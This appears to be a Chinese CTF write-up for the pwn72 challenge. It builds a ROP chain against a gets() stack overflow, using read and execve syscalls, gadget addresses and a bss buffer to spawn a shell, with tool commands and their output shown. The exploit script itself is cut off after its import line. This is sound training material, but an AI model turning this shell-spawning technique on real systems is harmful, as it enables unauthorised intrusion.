pwn72
目录
题目
预计时间
2h
题目分析及截图
我们先checksec ./pwn查看程序的保护机制
开启了NX不可执行机制,我们可以使用gadget构造payload来写这道题
查看 main函数
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
gets(&v4);依旧是很明显的栈溢出漏洞
那么我们先看一下程序的 偏移 是多少
1 | pwndbg> cyclic -l 0x6161616c |
如果你不知道cyclic怎么使用,建议看一下pwn71这篇,或者自己去搜索一篇好的博客学习一下
看看程序中有没有"/bin/sh"
使用ROPgadget --binary pwn --string "/bin/sh"
1 | yyh@yyh:~/pwn72$ ROPgadget --binary pwn --string "/bin/sh" |
很明显没有”/bin/sh”,那么如果我们想使用syscall来写这道题的话,execve(“/bin/sh”)是一定会构造的,那没有"/bin/sh"怎么能行?
我们可以进行两个系统调用:
- read(fd,addr,len)
- execve(“/bin/sh”,0,0)
为了解决"/bin/sh"这个问题,我们可以使用read来将"/bin/sh"写入。但是想用系统调用,我们需要找一些我们能用的gadget片段。
ROPgadget --binary pwn --only "pop|ret" | grep eaxROPgadget --binary pwn --only "pop|ret" | grep ebxROPgadget --binary pwn --only "pop|ret" | grep ecxROPgadget --binary pwn --only "pop|ret" | grep edx
但是当我找ecx寄存器的时候,我发现,如果想要单独的pop ecx; ret
是找不到的,但是我找到了另一个可以用的
如果使用这条gadget,那我们直接使用这一条+eax那一条就够用了,非常方便
通过这些命令,找到gadget的地址为:
eax:0x080bb2c6edx_ecx_ebx:0x0806ecb0
除此之外我们还需要int 0x80; ret的地址
需要注意为什么这里要加ret,但是上一题不需要加ret:
- 在pwn71这道题目中我们直接使用
int 0x80就可以了,是因为我们使用的是execve系统调用,execve 成功后不会返回用户态,执行流直接跳到新进程(/bin/sh) - 而在pwn72本道题中,我们需要使用
int 0x80; ret,read 系统调用执行完后,CPU 会从你构造的 syscall 指令紧接着的地址继续执行,如果你只放int 0x80,那系统调用之后 CPU 会跑到 你无法控制的下一条指令,所以你必须让它执行到一个受控“ret”,回到 ROP 链继续执行 - 除了execve 和 exit可以直接使用
int 0x80其他的系统调用都要使用int 0x80; ret
我们使用命令来查找该gadget
ROPgadget --binary pwn --only "int"1
2
3
4
5
6
7yyh@yyh:~/pwn72$ ROPgadget --binary pwn --only "int"
Gadgets information
============================================================
0x08049421 : int 0x80
0x080891d5 : int 0xcf
Unique gadgets found: 2这个里并没有符合我们要求的地址。
我一瞬间不知道怎么做了,去问了群里的大佬,才知道还有一个命令
poper找的更全ropper --file pwn --search "int 0x80"1
2
3
4
5
6
7
8
9yyh@yyh:~/pwn72$ ropper --file pwn --search "int 0x80"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: int 0x80
[INFO] File: pwn
0x08049421: int 0x80;
0x0806f350: int 0x80; ret;找到了!!!!
int 0x80; ret; 的地址是:0x0806f350
我们先解决 read 这个系统调用的payload
再调用之前,我们还需要知道”/bin/sh”写入哪一个段地址中,这就需要使用vmmap命令
1 | pwndbg> vmmap |
1 | 0x80e9000 0x80eb000 rw-p 2000 a0000 pwn |
这三个段地址都是可写的,我们可以随意选择一个地址(bss),作为填写/bin/sh的地址
read(fd , addr , len)
因为我们是从stdin中输入”/bin/sh”的,所以我们的fd就应该等于0
那么addr就应该是我们写入”/bin/sh”段的地址
如果我们值写入”/bin/sh”的话,8是够的,或者你可以更长
execve(“/bin/sh”,0,0)
只不过因为我们的
"/bin/sh"写到bss里面了,那么第一个参数就是bss的地址
exp如下
1 | from pwn import * |
得到flag